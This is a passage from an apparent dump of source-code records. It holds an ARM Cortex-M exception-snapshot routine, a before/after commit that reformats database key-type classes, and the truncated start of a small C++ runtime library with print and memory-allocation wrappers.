IS\" BASIS, WITHOUT\n\/\/ WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n\/\/ License for the specific language governing permissions and limitations under\n\/\/ the License.\n\n#define PW_LOG_LEVEL PW_CPU_EXCEPTION_CORTEX_M_LOG_LEVEL\n\n#include \"pw_cpu_exception_cortex_m\/snapshot.h\"\n\n#include \"pw_cpu_exception_cortex_m\/proto_dump.h\"\n#include \"pw_cpu_exception_cortex_m_private\/config.h\"\n#include \"pw_cpu_exception_cortex_m_private\/cortex_m_constants.h\"\n#include \"pw_cpu_exception_cortex_m_protos\/cpu_state.pwpb.h\"\n#include \"pw_log\/log.h\"\n#include \"pw_protobuf\/encoder.h\"\n#include \"pw_status\/status.h\"\n#include \"pw_thread\/snapshot.h\"\n#include \"pw_thread_protos\/thread.pwpb.h\"\n\nnamespace pw::cpu_exception_cortex_m {\nnamespace {\n\nconstexpr char kMainStackHandlerModeName[] = \"Main Stack (Handler Mode)\";\nconstexpr char kMainStackThreadModeName[] = \"Main Stack (Thread Mode)\";\n\nenum class ProcessorMode {\n  kHandlerMode,\n  kThreadMode,\n};\n\nStatus CaptureMainStack(\n    ProcessorMode mode,\n    uintptr_t stack_low_addr,\n    uintptr_t stack_high_addr,\n    uintptr_t stack_pointer,\n    thread::SnapshotThreadInfo::StreamEncoder& snapshot_encoder,\n    thread::ProcessThreadStackCallback& thread_stack_callback) {\n  thread::Thread::StreamEncoder encoder = snapshot_encoder.GetThreadsEncoder();\n\n  const char* thread_name;\n  thread::ThreadState::Enum thread_state;\n  if (mode == ProcessorMode::kHandlerMode) {\n    thread_name = kMainStackHandlerModeName;\n    PW_LOG_DEBUG(\"Capturing thread info for Main Stack (Handler Mode)\");\n    thread_state = thread::ThreadState::Enum::INTERRUPT_HANDLER;\n    PW_LOG_DEBUG(\"Thread state: INTERRUPT_HANDLER\");\n  } else {  \/\/ mode == ProcessorMode::kThreadMode\n    thread_name = kMainStackHandlerModeName;\n    PW_LOG_DEBUG(\"Capturing thread info for Main Stack (Thread Mode)\");\n    thread_state = thread::ThreadState::Enum::RUNNING;\n    PW_LOG_DEBUG(\"Thread state: RUNNING\");\n  }\n  encoder.WriteState(thread_state);\n  encoder.WriteName(std::as_bytes(std::span(std::string_view(thread_name))));\n\n  const thread::StackContext thread_ctx = {\n      .thread_name = thread_name,\n      .stack_low_addr = stack_low_addr,\n      .stack_high_addr = stack_high_addr,\n      .stack_pointer = stack_pointer,\n      .stack_pointer_est_peak = std::nullopt,\n  };\n  return thread::SnapshotStack(thread_ctx, encoder, thread_stack_callback);\n}\n\n}  \/\/ namespace\n\nStatus SnapshotCpuState(\n    const pw_cpu_exception_State& cpu_state,\n    cpu_exception::cortex_m::SnapshotCpuState::StreamEncoder&\n        snapshot_encoder) {\n  cpu_exception::LogCpuState(cpu_state);\n  {\n    cpu_exception::cortex_m::ArmV7mCpuState::StreamEncoder cpu_state_encoder =\n        snapshot_encoder.GetArmv7mCpuStateEncoder();\n    pw::cpu_exception::DumpCpuStateProto(cpu_state_encoder, cpu_state);\n  }\n  return snapshot_encoder.status();\n}\n\nStatus SnapshotMainStackThread(\n    uintptr_t stack_low_addr,\n    uintptr_t stack_high_addr,\n    thread::SnapshotThreadInfo::StreamEncoder& encoder,\n    thread::ProcessThreadStackCallback& thread_stack_callback) {\n  uintptr_t stack_pointer;\n  asm volatile(\"mrs %0, msp\\n\" : \"=r\"(stack_pointer));\n\n  \/\/ First check if we're in Handler mode, AKA handling exceptions\/interrupts.\n  \/\/\n  \/\/ Handler mode vs thread mode can be determined via IPSR, bits 8:0 of xPSR.\n  \/\/ In thread mode the value is 0, in handler mode the value is non-zero.\n  uint32_t xpsr;\n  asm volatile(\"mrs %0, xpsr\\n\" : \"=r\"(xpsr));\n  if ((xpsr & cpu_exception::kXpsrIpsrMask) != 0) {\n    return CaptureMainStack(ProcessorMode::kHandlerMode,\n                            stack_low_addr,\n                            stack_high_addr,\n                            stack_pointer,\n                            encoder,\n                            thread_stack_callback);\n  }\n\n  \/\/ It looks like we're in Thread mode which means we need to check whether\n  \/\/ or not we are executing off the main stack currently.\n  \/\/\n  \/\/ See ARMv7-M Architecture Reference Manual Section B1.4.4 for the control\n  \/\/ register values, in particular the SPSEL bit while in Thread mode which\n  \/\/ is 0 while running off the main stack and 1 while running off the proces\n  \/\/ stack.\n  uint32_t control;\n  asm volatile(\"mrs %0, control\\n\" : \"=r\"(control));\n  if ((control & cpu_exception::kControlThreadModeStackMask) != 0) {\n    return OkStatus();  \/\/ Main stack is not currently active.\n  }\n\n  \/\/ We're running off the main stack in Thread mode.\n  return CaptureMainStack(ProcessorMode::kThreadMode,\n                          stack_low_addr,\n                          stack_high_addr,\n                          stack_pointer,\n                          encoder,\n                          thread_stack_callback);\n}\n\nStatus SnapshotMainStackThread(\n    const pw_cpu_exception_State& cpu_state,\n    uintptr_t stack_low_addr,\n    uintptr_t stack_high_addr,\n    thread::SnapshotThreadInfo::StreamEncoder& encoder,\n    thread::ProcessThreadStackCallback& thread_stack_callback) {\n  const uint32_t exc_return = cpu_state.extended.exc_return;\n\n  \/\/ See ARMv7-M Architecture Reference Manual Section B1.5.8 for the exception\n  \/\/ return values, in particular bits 0:3.\n  \/\/ Bits 0:3 of EXC_RETURN:\n  \/\/ 0b0001 - 0x1 Handler mode Main\n  \/\/ 0b1001 - 0x9 Thread mode Main\n  \/\/ 0b1101 - 0xD Thread mode Process\n\n  \/\/ First check whether the CPU state shows the main stack was active.\n  if ((exc_return & cpu_exception::kExcReturnStackMask) != 0) {\n    return OkStatus();  \/\/ Main stack is not currently active.\n  }\n  const uintptr_t stack_pointer = cpu_state.extended.msp;\n\n  \/\/ Second, check if we're in Handler mode, AKA handling exceptions\/interrupts.\n  const ProcessorMode mode =\n      ((exc_return & cpu_exception::kExcReturnModeMask) == 0)\n          ? ProcessorMode::kHandlerMode\n          : ProcessorMode::kThreadMode;\n\n  return CaptureMainStack(mode,\n                          stack_low_addr,\n                          stack_high_addr,\n                          stack_pointer,\n                          encoder,\n                          thread_stack_callback);\n}\n\n}  \/\/ namespace pw::cpu_exception_cortex_m\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2015 Cloudius Systems, Ltd.\n *\/\n\n#pragma once\n\n#include \"schema.hh\"\n#include \"bytes.hh\"\n#include \"types.hh\"\n\n\/\/\n\/\/ This header defines type system for primary key holders.\n\/\/\n\/\/ We distinguish partition keys and clustering keys. API-wise they are almost\n\/\/ the same, but they're separate type hierarchies.\n\/\/\n\/\/ Clustering keys are further divided into prefixed and non-prefixed (full).\n\/\/ Non-prefixed keys always have full component set, as defined by schema.\n\/\/ Prefixed ones can have any number of trailing components missing. They may\n\/\/ differ in underlying representation.\n\/\/\n\/\/ The main classes are:\n\/\/\n\/\/   partition_key           - full partition key\n\/\/   clustering_key          - full clustering key\n\/\/   clustering_key_prefix   - clustering key prefix\n\/\/\n\/\/ These classes wrap only the minimum information required to store the key\n\/\/ (the key value itself). Any information which can be inferred from schema\n\/\/ is not stored. Therefore accessors need to be provided with a pointer to\n\/\/ schema, from which information about structure is extracted.\n\nclass partition_key;\nclass clustering_key;\nclass clustering_key_prefix;\n\n\/\/ Abstracts serialized tuple, managed by tuple_type.\ntemplate <typename TopLevel>\nclass tuple_wrapper {\nprotected:\n    bytes _bytes;\nprotected:\n    tuple_wrapper(bytes&& b) : _bytes(std::move(b)) {}\n\n    static inline auto get_tuple_type(const schema& s) {\n        return TopLevel::get_tuple_type(s);\n    }\npublic:\n    static TopLevel make_empty(const schema& s) {\n        std::vector<bytes> v;\n        v.resize(get_tuple_type(s)->types().size());\n        return from_exploded(s, v);\n    }\n\n    static TopLevel from_exploded(const schema& s, const std::vector<bytes>& v) {\n        return TopLevel::from_bytes(get_tuple_type(s)->serialize_value(v));\n    }\n\n    static TopLevel from_exploded(const schema& s, std::vector<bytes>&& v) {\n        return TopLevel::from_bytes(get_tuple_type(s)->serialize_value(std::move(v)));\n    }\n\n    \/\/ We don't allow optional values, but provide this method as an efficient adaptor\n    static TopLevel from_optional_exploded(const schema& s, const std::vector<bytes_opt>& v) {\n        return TopLevel::from_bytes(get_tuple_type(s)->serialize_optionals(v));\n    }\n\n    static TopLevel from_deeply_exploded(const schema& s, const std::vector<boost::any>& v) {\n        return TopLevel::from_bytes(get_tuple_type(s)->serialize_value_deep(v));\n    }\n\n    static TopLevel from_single_value(const schema& s, bytes v) {\n        return TopLevel::from_bytes(get_tuple_type(s)->serialize_single(std::move(v)));\n    }\n\n    \/\/ FIXME: return views\n    std::vector<bytes> explode(const schema& s) const {\n        return get_tuple_type(s)->deserialize_value(_bytes);\n    }\n\n    struct less_compare {\n        typename TopLevel::tuple _t;\n        less_compare(const schema& s) : _t(get_tuple_type(s)) {}\n        bool operator()(const TopLevel& k1, const TopLevel& k2) const {\n            return _t->less(k1, k2);\n        }\n    };\n\n    struct hashing {\n        typename TopLevel::tuple _t;\n        hashing(const schema& s) : _t(get_tuple_type(s)) {}\n        size_t operator()(const TopLevel& o) const {\n            return _t->hash(o);\n        }\n    };\n\n    struct equality {\n        typename TopLevel::tuple _t;\n        equality(const schema& s) : _t(get_tuple_type(s)) {}\n        bool operator()(const TopLevel& o1, const TopLevel& o2) const {\n            return _t->equal(o1, o2);\n        }\n    };\n\n    bool equal(const schema& s, const TopLevel& other) const {\n        return get_tuple_type(s)->equal(*this, other);\n    }\n\n    operator bytes_view() const {\n        return _bytes;\n    }\n};\n\ntemplate <typename TopLevel, typename PrefixTopLevel>\nclass prefix_view_on_full_tuple {\npublic:\n    using iterator = typename tuple_type<allow_prefixes::no>::iterator;\nprivate:\n    bytes_view _b;\n    unsigned _prefix_len;\n    iterator _begin;\n    iterator _end;\npublic:\n    prefix_view_on_full_tuple(const schema& s, bytes_view b, unsigned prefix_len)\n        : _b(b)\n        , _prefix_len(prefix_len)\n        , _begin(TopLevel::get_tuple_type(s)->begin(_b))\n        , _end(_begin)\n    {\n        std::advance(_end, prefix_len);\n    }\n\n    iterator begin() const { return _begin; }\n    iterator end() const { return _end; }\n\n    struct less_compare_with_prefix {\n        typename PrefixTopLevel::tuple prefix_type;\n\n        less_compare_with_prefix(const schema& s)\n            : prefix_type(PrefixTopLevel::get_tuple_type(s))\n        { }\n\n        bool operator()(const prefix_view_on_full_tuple& k1, const PrefixTopLevel& k2) const {\n            return lexicographical_tri_compare(\n                prefix_type->types().begin(), prefix_type->types().end(),\n                k1.begin(), k1.end(),\n                prefix_type->begin(k2), prefix_type->end(k2),\n                tri_compare) < 0;\n        }\n\n        bool operator()(const PrefixTopLevel& k1, const prefix_view_on_full_tuple& k2) const {\n            return lexicographical_tri_compare(\n                prefix_type->types().begin(), prefix_type->types().end(),\n                prefix_type->begin(k1), prefix_type->end(k1),\n                k2.begin(), k2.end(),\n                tri_compare) < 0;\n        }\n    };\n};\n\ntemplate <typename TopLevel, typename PrefixTopLevel>\nclass prefixable_full_tuple : public tuple_wrapper<TopLevel> {\n    using base = tuple_wrapper<TopLevel>;\nprotected:\n    prefixable_full_tuple(bytes&& b) : base(std::move(b)) {}\npublic:\n    using prefix_view_type = prefix_view_on_full_tuple<TopLevel, PrefixTopLevel>;\n\n    bool is_prefixed_by(const schema& s, const PrefixTopLevel& prefix) const {\n        auto t = base::get_tuple_type(s);\n        auto prefix_type = PrefixTopLevel::get_tuple_type(s);\n        return ::is_prefixed_by(t->types().begin(),\n            t->begin(*this), t->end(*this),\n            prefix_type->begin(prefix), prefix_type->end(prefix),\n            ::equal);\n    }\n\n    struct less_compare_with_prefix {\n        typename PrefixTopLevel::tuple prefix_type;\n        typename TopLevel::tuple full_type;\n\n        less_compare_with_prefix(const schema& s)\n            : prefix_type(PrefixTopLevel::get_tuple_type(s))\n            , full_type(TopLevel::get_tuple_type(s))\n        { }\n\n        bool operator()(const TopLevel& k1, const PrefixTopLevel& k2) const {\n            return lexicographical_tri_compare(\n                prefix_type->types().begin(), prefix_type->types().end(),\n                full_type->begin(k1), full_type->end(k1),\n                prefix_type->begin(k2), prefix_type->end(k2),\n                tri_compare) < 0;\n        }\n\n        bool operator()(const PrefixTopLevel& k1, const TopLevel& k2) const {\n            return lexicographical_tri_compare(\n                prefix_type->types().begin(), prefix_type->types().end(),\n                prefix_type->begin(k1), prefix_type->end(k1),\n                full_type->begin(k2), full_type->end(k2),\n                tri_compare) < 0;\n        }\n    };\n\n    \/\/ In prefix equality two sequences are equal if any of them is a prefix\n    \/\/ of the other. Otherwise lexicographical ordering is applied.\n    \/\/ Note: full tuples sorted according to lexicographical ordering are also\n    \/\/ sorted according to prefix equality ordering.\n    struct prefix_equality_less_compare {\n        typename PrefixTopLevel::tuple prefix_type;\n        typename TopLevel::tuple full_type;\n\n        prefix_equality_less_compare(const schema& s)\n            : prefix_type(PrefixTopLevel::get_tuple_type(s))\n            , full_type(TopLevel::get_tuple_type(s))\n        { }\n\n        bool operator()(const TopLevel& k1, const PrefixTopLevel& k2) const {\n            return prefix_equality_tri_compare(prefix_type->types().begin(),\n                full_type->begin(k1), full_type->end(k1),\n                prefix_type->begin(k2), prefix_type->end(k2),\n                tri_compare) < 0;\n        }\n\n        bool operator()(const PrefixTopLevel& k1, const TopLevel& k2) const {\n            return prefix_equality_tri_compare(prefix_type->types().begin(),\n                prefix_type->begin(k1), prefix_type->end(k1),\n                full_type->begin(k2), full_type->end(k2),\n                tri_compare) < 0;\n        }\n    };\n\n    auto prefix_view(const schema& s, unsigned prefix_len) const {\n        return prefix_view_type(s, *this, prefix_len);\n    }\n};\n\ntemplate <typename TopLevel, typename FullTopLevel>\nclass prefix_tuple_wrapper : public tuple_wrapper<TopLevel> {\n    using base = tuple_wrapper<TopLevel>;\nprotected:\n    prefix_tuple_wrapper(bytes&& b) : base(std::move(b)) {}\npublic:\n    bool is_full(const schema& s) const {\n        return TopLevel::get_tuple_type(s)->is_full(base::_bytes);\n    }\n\n    \/\/ Can be called only if is_full()\n    FullTopLevel to_full(const schema& s) const {\n        return FullTopLevel::from_exploded(s, base::explode(s));\n    }\n\n    bool is_prefixed_by(const schema& s, const TopLevel& prefix) const {\n        auto t = base::get_tuple_type(s);\n        return ::is_prefixed_by(t->types().begin(),\n            t->begin(*this), t->end(*this),\n            t->begin(prefix), t->end(prefix),\n            equal);\n    }\n};\n\nclass partition_key : public tuple_wrapper<partition_key> {\npublic:\n    partition_key(bytes&& b) : tuple_wrapper<partition_key>(std::move(b)) {}\npublic:\n    using tuple = lw_shared_ptr<tuple_type<allow_prefixes::no>>;\n\n    static partition_key from_bytes(bytes b) { return partition_key(std::move(b)); }\n    static auto get_tuple_type(const schema& s) { return s.partition_key_type; }\n};\n\nclass exploded_clustering_prefix {\n    std::vector<bytes> _v;\npublic:\n    exploded_clustering_prefix(std::vector<bytes>&& v) : _v(std::move(v)) {}\n    exploded_clustering_prefix() {}\n    size_t size() const {\n        return _v.size();\n    }\n    auto const& components() const {\n        return _v;\n    }\n    explicit operator bool() const {\n        return !_v.empty();\n    }\n    bool is_full(const schema& s) const {\n        return _v.size() == s.clustering_key_size();\n    }\n    friend std::ostream& operator<<(std::ostream& os, const exploded_clustering_prefix& ecp);\n};\n\nclass clustering_key : public prefixable_full_tuple<clustering_key, clustering_key_prefix> {\npublic:\n    clustering_key(bytes&& b) : prefixable_full_tuple<clustering_key, clustering_key_prefix>(std::move(b)) {}\npublic:\n    using tuple = lw_shared_ptr<tuple_type<allow_prefixes::no>>;\n\n    static clustering_key from_bytes(bytes b) { return clustering_key(std::move(b)); }\n    static auto get_tuple_type(const schema& s) { return s.clustering_key_type; }\n\n    static clustering_key from_clustering_prefix(const schema& s, const exploded_clustering_prefix& prefix) {\n        assert(prefix.is_full(s));\n        return from_exploded(s, prefix.components());\n    }\n};\n\nclass clustering_key_prefix : public prefix_tuple_wrapper<clustering_key_prefix, clustering_key> {\n    clustering_key_prefix(bytes&& b) : prefix_tuple_wrapper<clustering_key_prefix, clustering_key>(std::move(b)) {}\npublic:\n    using tuple = lw_shared_ptr<tuple_type<allow_prefixes::yes>>;\n\n    static clustering_key_prefix from_bytes(bytes b) { return clustering_key_prefix(std::move(b)); }\n    static auto get_tuple_type(const schema& s) { return s.clustering_key_prefix_type; }\n\n    static clustering_key_prefix from_clustering_prefix(const schema& s, const exploded_clustering_prefix& prefix) {\n        return from_exploded(s, prefix.components());\n    }\n};\n\nstatic inline\nstd::ostream& operator<<(std::ostream& out, const partition_key& pk) {\n    return out << \"pk{\" << to_hex(pk) << \"}\";\n}\n\nstatic inline\nstd::ostream& operator<<(std::ostream& out, const clustering_key& ck) {\n    return out << \"ck{\" << to_hex(ck) << \"}\";\n}\n\nstatic inline\nstd::ostream& operator<<(std::ostream& out, const clustering_key_prefix& ckp) {\n    return out << \"ckp{\" << to_hex(ckp) << \"}\";\n}\n<commit_msg>types: Improve code readability<commit_after>\/*\n * Copyright (C) 2015 Cloudius Systems, Ltd.\n *\/\n\n#pragma once\n\n#include \"schema.hh\"\n#include \"bytes.hh\"\n#include \"types.hh\"\n\n\/\/\n\/\/ This header defines type system for primary key holders.\n\/\/\n\/\/ We distinguish partition keys and clustering keys. API-wise they are almost\n\/\/ the same, but they're separate type hierarchies.\n\/\/\n\/\/ Clustering keys are further divided into prefixed and non-prefixed (full).\n\/\/ Non-prefixed keys always have full component set, as defined by schema.\n\/\/ Prefixed ones can have any number of trailing components missing. They may\n\/\/ differ in underlying representation.\n\/\/\n\/\/ The main classes are:\n\/\/\n\/\/   partition_key           - full partition key\n\/\/   clustering_key          - full clustering key\n\/\/   clustering_key_prefix   - clustering key prefix\n\/\/\n\/\/ These classes wrap only the minimum information required to store the key\n\/\/ (the key value itself). Any information which can be inferred from schema\n\/\/ is not stored. Therefore accessors need to be provided with a pointer to\n\/\/ schema, from which information about structure is extracted.\n\nclass partition_key;\nclass clustering_key;\nclass clustering_key_prefix;\n\n\/\/ Abstracts serialized tuple, managed by tuple_type.\ntemplate <typename TopLevel>\nclass tuple_wrapper {\nprotected:\n    bytes _bytes;\nprotected:\n    tuple_wrapper(bytes&& b) : _bytes(std::move(b)) {}\n\n    static inline auto get_tuple_type(const schema& s) {\n        return TopLevel::get_tuple_type(s);\n    }\npublic:\n    static TopLevel make_empty(const schema& s) {\n        std::vector<bytes> v;\n        v.resize(get_tuple_type(s)->types().size());\n        return from_exploded(s, v);\n    }\n\n    static TopLevel from_exploded(const schema& s, const std::vector<bytes>& v) {\n        return TopLevel::from_bytes(get_tuple_type(s)->serialize_value(v));\n    }\n\n    static TopLevel from_exploded(const schema& s, std::vector<bytes>&& v) {\n        return TopLevel::from_bytes(get_tuple_type(s)->serialize_value(std::move(v)));\n    }\n\n    \/\/ We don't allow optional values, but provide this method as an efficient adaptor\n    static TopLevel from_optional_exploded(const schema& s, const std::vector<bytes_opt>& v) {\n        return TopLevel::from_bytes(get_tuple_type(s)->serialize_optionals(v));\n    }\n\n    static TopLevel from_deeply_exploded(const schema& s, const std::vector<boost::any>& v) {\n        return TopLevel::from_bytes(get_tuple_type(s)->serialize_value_deep(v));\n    }\n\n    static TopLevel from_single_value(const schema& s, bytes v) {\n        return TopLevel::from_bytes(get_tuple_type(s)->serialize_single(std::move(v)));\n    }\n\n    \/\/ FIXME: return views\n    std::vector<bytes> explode(const schema& s) const {\n        return get_tuple_type(s)->deserialize_value(_bytes);\n    }\n\n    struct less_compare {\n        typename TopLevel::tuple _t;\n        less_compare(const schema& s) : _t(get_tuple_type(s)) {}\n        bool operator()(const TopLevel& k1, const TopLevel& k2) const {\n            return _t->less(k1, k2);\n        }\n    };\n\n    struct hashing {\n        typename TopLevel::tuple _t;\n        hashing(const schema& s) : _t(get_tuple_type(s)) {}\n        size_t operator()(const TopLevel& o) const {\n            return _t->hash(o);\n        }\n    };\n\n    struct equality {\n        typename TopLevel::tuple _t;\n        equality(const schema& s) : _t(get_tuple_type(s)) {}\n        bool operator()(const TopLevel& o1, const TopLevel& o2) const {\n            return _t->equal(o1, o2);\n        }\n    };\n\n    bool equal(const schema& s, const TopLevel& other) const {\n        return get_tuple_type(s)->equal(*this, other);\n    }\n\n    operator bytes_view() const {\n        return _bytes;\n    }\n};\n\ntemplate <typename TopLevel, typename PrefixTopLevel>\nclass prefix_view_on_full_tuple {\npublic:\n    using iterator = typename tuple_type<allow_prefixes::no>::iterator;\nprivate:\n    bytes_view _b;\n    unsigned _prefix_len;\n    iterator _begin;\n    iterator _end;\npublic:\n    prefix_view_on_full_tuple(const schema& s, bytes_view b, unsigned prefix_len)\n        : _b(b)\n        , _prefix_len(prefix_len)\n        , _begin(TopLevel::get_tuple_type(s)->begin(_b))\n        , _end(_begin)\n    {\n        std::advance(_end, prefix_len);\n    }\n\n    iterator begin() const { return _begin; }\n    iterator end() const { return _end; }\n\n    struct less_compare_with_prefix {\n        typename PrefixTopLevel::tuple prefix_type;\n\n        less_compare_with_prefix(const schema& s)\n            : prefix_type(PrefixTopLevel::get_tuple_type(s))\n        { }\n\n        bool operator()(const prefix_view_on_full_tuple& k1, const PrefixTopLevel& k2) const {\n            return lexicographical_tri_compare(\n                prefix_type->types().begin(), prefix_type->types().end(),\n                k1.begin(), k1.end(),\n                prefix_type->begin(k2), prefix_type->end(k2),\n                tri_compare) < 0;\n        }\n\n        bool operator()(const PrefixTopLevel& k1, const prefix_view_on_full_tuple& k2) const {\n            return lexicographical_tri_compare(\n                prefix_type->types().begin(), prefix_type->types().end(),\n                prefix_type->begin(k1), prefix_type->end(k1),\n                k2.begin(), k2.end(),\n                tri_compare) < 0;\n        }\n    };\n};\n\ntemplate <typename TopLevel, typename PrefixTopLevel>\nclass prefixable_full_tuple : public tuple_wrapper<TopLevel> {\n    using base = tuple_wrapper<TopLevel>;\nprotected:\n    prefixable_full_tuple(bytes&& b) : base(std::move(b)) {}\npublic:\n    using prefix_view_type = prefix_view_on_full_tuple<TopLevel, PrefixTopLevel>;\n\n    bool is_prefixed_by(const schema& s, const PrefixTopLevel& prefix) const {\n        auto t = base::get_tuple_type(s);\n        auto prefix_type = PrefixTopLevel::get_tuple_type(s);\n        return ::is_prefixed_by(t->types().begin(),\n            t->begin(*this), t->end(*this),\n            prefix_type->begin(prefix), prefix_type->end(prefix),\n            ::equal);\n    }\n\n    struct less_compare_with_prefix {\n        typename PrefixTopLevel::tuple prefix_type;\n        typename TopLevel::tuple full_type;\n\n        less_compare_with_prefix(const schema& s)\n            : prefix_type(PrefixTopLevel::get_tuple_type(s))\n            , full_type(TopLevel::get_tuple_type(s))\n        { }\n\n        bool operator()(const TopLevel& k1, const PrefixTopLevel& k2) const {\n            return lexicographical_tri_compare(\n                prefix_type->types().begin(), prefix_type->types().end(),\n                full_type->begin(k1), full_type->end(k1),\n                prefix_type->begin(k2), prefix_type->end(k2),\n                tri_compare) < 0;\n        }\n\n        bool operator()(const PrefixTopLevel& k1, const TopLevel& k2) const {\n            return lexicographical_tri_compare(\n                prefix_type->types().begin(), prefix_type->types().end(),\n                prefix_type->begin(k1), prefix_type->end(k1),\n                full_type->begin(k2), full_type->end(k2),\n                tri_compare) < 0;\n        }\n    };\n\n    \/\/ In prefix equality two sequences are equal if any of them is a prefix\n    \/\/ of the other. Otherwise lexicographical ordering is applied.\n    \/\/ Note: full tuples sorted according to lexicographical ordering are also\n    \/\/ sorted according to prefix equality ordering.\n    struct prefix_equality_less_compare {\n        typename PrefixTopLevel::tuple prefix_type;\n        typename TopLevel::tuple full_type;\n\n        prefix_equality_less_compare(const schema& s)\n            : prefix_type(PrefixTopLevel::get_tuple_type(s))\n            , full_type(TopLevel::get_tuple_type(s))\n        { }\n\n        bool operator()(const TopLevel& k1, const PrefixTopLevel& k2) const {\n            return prefix_equality_tri_compare(prefix_type->types().begin(),\n                full_type->begin(k1), full_type->end(k1),\n                prefix_type->begin(k2), prefix_type->end(k2),\n                tri_compare) < 0;\n        }\n\n        bool operator()(const PrefixTopLevel& k1, const TopLevel& k2) const {\n            return prefix_equality_tri_compare(prefix_type->types().begin(),\n                prefix_type->begin(k1), prefix_type->end(k1),\n                full_type->begin(k2), full_type->end(k2),\n                tri_compare) < 0;\n        }\n    };\n\n    auto prefix_view(const schema& s, unsigned prefix_len) const {\n        return prefix_view_type(s, *this, prefix_len);\n    }\n};\n\ntemplate <typename TopLevel, typename FullTopLevel>\nclass prefix_tuple_wrapper : public tuple_wrapper<TopLevel> {\n    using base = tuple_wrapper<TopLevel>;\nprotected:\n    prefix_tuple_wrapper(bytes&& b) : base(std::move(b)) {}\npublic:\n    bool is_full(const schema& s) const {\n        return TopLevel::get_tuple_type(s)->is_full(base::_bytes);\n    }\n\n    \/\/ Can be called only if is_full()\n    FullTopLevel to_full(const schema& s) const {\n        return FullTopLevel::from_exploded(s, base::explode(s));\n    }\n\n    bool is_prefixed_by(const schema& s, const TopLevel& prefix) const {\n        auto t = base::get_tuple_type(s);\n        return ::is_prefixed_by(t->types().begin(),\n            t->begin(*this), t->end(*this),\n            t->begin(prefix), t->end(prefix),\n            equal);\n    }\n};\n\nclass partition_key : public tuple_wrapper<partition_key> {\npublic:\n    partition_key(bytes&& b) : tuple_wrapper<partition_key>(std::move(b)) {}\npublic:\n    using tuple = lw_shared_ptr<tuple_type<allow_prefixes::no>>;\n\n    static partition_key from_bytes(bytes b) {\n        return partition_key(std::move(b));\n    }\n\n    static const tuple& get_tuple_type(const schema& s) {\n        return s.partition_key_type;\n    }\n};\n\nclass exploded_clustering_prefix {\n    std::vector<bytes> _v;\npublic:\n    exploded_clustering_prefix(std::vector<bytes>&& v) : _v(std::move(v)) {}\n    exploded_clustering_prefix() {}\n    size_t size() const {\n        return _v.size();\n    }\n    auto const& components() const {\n        return _v;\n    }\n    explicit operator bool() const {\n        return !_v.empty();\n    }\n    bool is_full(const schema& s) const {\n        return _v.size() == s.clustering_key_size();\n    }\n    friend std::ostream& operator<<(std::ostream& os, const exploded_clustering_prefix& ecp);\n};\n\nclass clustering_key : public prefixable_full_tuple<clustering_key, clustering_key_prefix> {\npublic:\n    clustering_key(bytes&& b) : prefixable_full_tuple<clustering_key, clustering_key_prefix>(std::move(b)) {}\npublic:\n    using tuple = lw_shared_ptr<tuple_type<allow_prefixes::no>>;\n\n    static clustering_key from_bytes(bytes b) {\n        return clustering_key(std::move(b));\n    }\n\n    static const tuple& get_tuple_type(const schema& s) {\n        return s.clustering_key_type;\n    }\n\n    static clustering_key from_clustering_prefix(const schema& s, const exploded_clustering_prefix& prefix) {\n        assert(prefix.is_full(s));\n        return from_exploded(s, prefix.components());\n    }\n};\n\nclass clustering_key_prefix : public prefix_tuple_wrapper<clustering_key_prefix, clustering_key> {\n    clustering_key_prefix(bytes&& b) : prefix_tuple_wrapper<clustering_key_prefix, clustering_key>(std::move(b)) {}\npublic:\n    using tuple = lw_shared_ptr<tuple_type<allow_prefixes::yes>>;\n\n    static clustering_key_prefix from_bytes(bytes b) {\n        return clustering_key_prefix(std::move(b));\n    }\n\n    static const tuple& get_tuple_type(const schema& s) {\n        return s.clustering_key_prefix_type;\n    }\n\n    static clustering_key_prefix from_clustering_prefix(const schema& s, const exploded_clustering_prefix& prefix) {\n        return from_exploded(s, prefix.components());\n    }\n};\n\nstatic inline\nstd::ostream& operator<<(std::ostream& out, const partition_key& pk) {\n    return out << \"pk{\" << to_hex(pk) << \"}\";\n}\n\nstatic inline\nstd::ostream& operator<<(std::ostream& out, const clustering_key& ck) {\n    return out << \"ck{\" << to_hex(ck) << \"}\";\n}\n\nstatic inline\nstd::ostream& operator<<(std::ostream& out, const clustering_key_prefix& ckp) {\n    return out << \"ckp{\" << to_hex(ckp) << \"}\";\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/Fork standard library\n\n#include \"lib.h\"\n\n\/\/extern \"C\" disables C++ name mangling\n\n\/\/Never garble writing to the output stream\nstd::mutex print_mutex;\nstd::mutex malloc_mutex;\n\n\/\/Parallism data structures\nint64_t thread_count = 0;\nint64_t max_threads = 0;\nstd::map<int,std::future<int64_t>> int_future_id_map;\nstd::map<int,std::future<double>> float_future_id_map;\nstd::map<int,std::future<int64_t*>> intptr_future_id_map;\nstd::map<int,std::future<double*>> floatptr_future_id_map;\nstd::map<int,std::future<void>> void_future_id_map;\nstd::mutex thread_count_mutex;\nstd::mutex map_mutex;\n\n\/\/Public-facing standard library functions\n\/\/Note that cmath functions (Ex: sin, cos) are available as well\n\nextern \"C\" void print_int(int64_t i) {\n  print_mutex.lock();\n  printf(\"Outputing Integer: %d\\n\",(int)i);\n  print_mutex.unlock();\n}\n\nextern \"C\" void print_float(double d) {\n  print_mutex.lock();\n  printf(\"Outputing Float: %f\\n\",d);\n  print_mutex.unlock();\n}\n\nextern \"C\" float* malloc_float(int64_t s) {\n  malloc_mutex.lock();\n  float* allocd = (float*)malloc(s*8);\n  malloc_mutex.unlock();\n  return allocd;\n}\n\nextern \"C\" int64_t* malloc_int(int64_t s) {\n  malloc_mutex.lock();\n  int64_t* allocd = (int64_t*)malloc(s*8);\n  malloc_mutex.unlock();\n  return allocd;\n}\n\nextern \"C\" float* calloc_float(int64_t s) {\n  malloc_mutex.lock();\n  float* allocd = (float*)calloc(s,8);\n  malloc_mutex.unlock();\n  return allocd;\n}\n\nextern \"C\" int64_t* calloc_int(int64_t s) {\n  malloc_mutex.lock();\n  int64_t* allocd = (int64_t*)calloc(s,8);\n  malloc_mutex.unlock();\n  return allocd;\n}\n\nextern \"C\" void free_float(float* f) {\n  malloc_mutex.lock();\n  free(f);\n  malloc_mutex.unlock();\n}\n\nextern \"C\" void free_int(int64_t* i) {\n  malloc_mutex.lock();\n  free(i);\n  malloc_mutex.unlock();\n}\n\n\/\/Hidden funcitons implement parallism\n\/\/They are not intended to be called by user code\n\nvoid 